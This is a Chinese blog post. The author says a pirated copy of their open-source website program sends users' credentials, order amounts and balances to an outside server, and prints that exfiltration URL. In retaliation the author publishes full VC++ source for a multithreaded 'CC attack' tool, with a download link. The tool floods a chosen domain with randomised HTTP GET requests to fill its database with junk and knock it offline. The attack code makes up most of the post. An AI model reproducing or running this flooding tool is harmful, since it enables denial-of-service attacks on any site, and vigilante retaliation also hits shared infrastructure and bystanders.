使用vc++ 制作盗版网站打击器
前一段时间我发布了自己的一套开源的网站程序,不到多久市场上竟然也出现了相同的一套程序,并且我下载来之后
?
发现,整套程序除了版权和名称以外没有任何一点点的变化,有趣的是,这套程序到处都可以下载,并且没有留下他的
?
任何名称,网站等,开始好奇为什么了,在测试过程中我发现用户提交订单时候变得比较缓慢,我调试了一下,发现一段
?
代码在里面,果然,在用户提交表单时候,php里面通过 curl 方式 httpget到了另一个地址
?
http://www.****.info/sacc.asp?dn=当前域名&pr=订单名称&un=帐户名&up=账户密码&ap=订单金额&ia=账户余额&si=后门版本
?
真可恶,我花费不少时间做的东西开源却成了别人发黑财的利器了,到时候估计被骂的还是我
?
愤怒之下,打开VC,做了一个简单的CC攻击器,1是给他数据库增加垃圾数据,2是让他后门无法正常接受数据
?
首先看看完整程序截图:

现在来看看实现过程:
?
?
//========创建一个随机字符生成函数CString CMyDlg::Randstr(){const char CCH[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";char szRandstr[sizeof(CCH)-1]="";for (int i=0;i<=5;i++){int x = rand() % (sizeof(CCH) - 1);szRandstr[i]=CCH[x];}CString str=szRandstr;memset(szRandstr,0,sizeof(CCH)-1);return str;}?
//========正常http方式访问网站BOOL CMyDlg::OpenUrl(LPSTR lpszUrl){char szn[55]="";sprintf(szn,"%d",rand() % 1000);HINTERNET hSession = InternetOpen(szn, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0 );if (hSession){HINTERNET hOpenUrl = InternetOpenUrl(hSession,lpszUrl, NULL,0,INTERNET_FLAG_RELOAD, 0 );if (hOpenUrl){#ifdef _DEBUGprintf("发送成功\r\n");#endif}InternetCloseHandle(hOpenUrl);InternetCloseHandle(hSession);InternetCloseHandle(hSession);}else{printf("发信失败\r\n");}returnFALSE;}?//==========通过原始方式发送http头给远程,不接包//==========域名转换IPvoid domaintoip(char *pAddr){if (inet_addr(pAddr)== INADDR_NONE){struct hostent *hp = NULL;if ((hp = gethostbyname(pAddr)) != NULL){in_addr in;memcpy(&in, hp->h_addr, hp->h_length);strcpy(pAddr,inet_ntoa(in));}}}//==============IP转换函数DWORD resolveIP(char *hostName){ hostent *hent; char **addresslist; DWORD result = 0; hent = gethostbyname(hostName); if(hent) { addresslist = hent->h_addr_list; if (*addresslist) { result = *((DWORD *)(*addresslist)); } } return result;}//==============连接远程服务器函数SOCKET dogConnect(char *host, int port){//--------创建socketSOCKET sock; sock = socket(AF_INET, SOCK_STREAM, 0); if(sock == INVALID_SOCKET) return sock; sockaddr_in sin; DWORD ip = resolveIP(host); //转换IP地址 if(ip == 0) ip = inet_addr(host); sin.sin_addr.s_addr = ip; sin.sin_family = AF_INET; sin.sin_port = htons(port);//---------连接目标connect(sock,(sockaddr *)&sin,sizeof(sin));fd_set rd;struct timeval tv;tv.tv_sec = 0;tv.tv_usec = 50;FD_ZERO(&rd);FD_SET(sock, &rd);if(select(sock + 1, &rd, NULL, NULL, &tv) < 0) { closesocket(sock); return INVALID_SOCKET; } return sock;}//===========CC攻击线程DWORD WINAPI CC_attack(LPVOID lpParameter){//----------锁定,避免线程传递异常criticalsection.Lock();CMyDlg *dlg = (CMyDlg*)AfxGetApp()->m_pMainWnd; srand((unsigned)time(NULL)); //设置随机种子WSADATA WSAData;WSAStartup(MAKEWORD(2,2) ,&WSAData);//域名转IPchar szIp[128];strcpy(szIp,dlg->m_strDomain);domaintoip(szIp);CString str=dlg->Randstr();CString strDomain=dlg->m_strDomain;CString strParam=dlg->m_strParam;strParam.Replace("%s",str);int i=1200;Sleep(1000);//----------解锁,解放其他线程criticalsection.Unlock(); //--------连接目标地址SOCKET Sock=dogConnect(szIp,80);//--------如果连接失败,退出线程if (Sock==INVALID_SOCKET){ return 0;}//--------开始循环while (1){if (dlg->m_bStop==TRUE){break;}i++;CString strSend=strParam;char szNum[20]="";sprintf(szNum,"%d",i);strSend.Replace("%d",szNum);//--------格式化要发送的httpchar url[1110] = "";sprintf(url,"GET %s HTTP/1.1\r\nAccept:*/* \r\nReferer:g.cn\r\nAccept-Language:""zh-cn\r\nAccept-Encoding: gzip, deflate\r\nIf-Modified-Since: ""Sun, 26 Jun 2005 15:43:05 GMT\r\nIf-None-Match: \"60794-12b3-e4169440\"\r\nUser-Agent:""Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322;"".NET CLR 2.0.50727)\r\nHost: %s\r\n\r\n",strSend,strDomain);send(Sock,url,strlen(url),0);closesocket(Sock);shutdown(Sock,2);Sock=dogConnect(szIp,80);//连接目标地址// linger lig; // lig.l_onoff=1; // lig.l_linger=0; // int ilen=sizeof(linger); // setsockopt(Sock,SOL_SOCKET,SO_LINGER,(char*)&lig,ilen);}closesocket(Sock);WSACleanup();return 0;}?//==========internetOpenUrl方式攻击线程DWORD WINAPI Thread1(LPVOID lpvoid){//----------锁定,避免线程传递异常criticalsection.Lock();Sleep(1000);CMyDlg *dlg = (CMyDlg*)AfxGetApp()->m_pMainWnd; srand((unsigned)time(NULL)); //设置随机种子CString str=dlg->Randstr();CString strDomain=dlg->m_strDomain;CString strParam=dlg->m_strParam;strParam.Replace("%s",str);int i=1200;//----------解锁,解放其他线程criticalsection.Unlock(); while(1){if (dlg->m_bStop==TRUE){break;}CString strSend;strSend.Format("http://%s/%s",strDomain,strParam);i++;char szNum[20]="";sprintf(szNum,"%d",i);strSend.Replace("%d",szNum);char szbuf[1024]="";sprintf(szbuf,"%s",strSend);dlg->OpenUrl(szbuf);}return 1;}?
//=========开始按钮void CMyDlg::OnButton1() {m_bStop=FALSE;GetDlgItemText(IDC_EDIT1,m_strDomain);GetDlgItemText(IDC_EDIT2,m_strParam);if (StrStrI(m_strDomain,"3ba.us")){return;}BOOL bFlag;int nThreadNum=GetDlgItemInt(IDC_EDIT3,&bFlag,FALSE);if (m_combox_type.GetCurSel()==0){for (int i=0;i<nThreadNum;i++){CreateThread(NULL,NULL,Thread1,NULL,NULL,NULL);Sleep(10);}}if (m_combox_type.GetCurSel()==1){for (int i=0;i<nThreadNum;i++){CreateThread(NULL,NULL,CC_attack,NULL,NULL,NULL);Sleep(10);}}SetDlgItemText(IDC_BUTTON1,"攻击中");GetDlgItem(IDC_BUTTON1)->EnableWindow(FALSE);}?
在填写参数时候,比如
/sacc.asp?dn=%s&pr=%d&un=%s&up=%s&ap=%s&ia=%s&si=%d
?
其中的 %s 将会被替换成随机字符 %d将会被替换为随机数字
?
自从MFC转到QT以后以为不会再用 vc做东西了,毕竟以前积累过很多代码和开发经验,在有些时候看来VC还是不错的选择
?
完整工程代码下载
?
?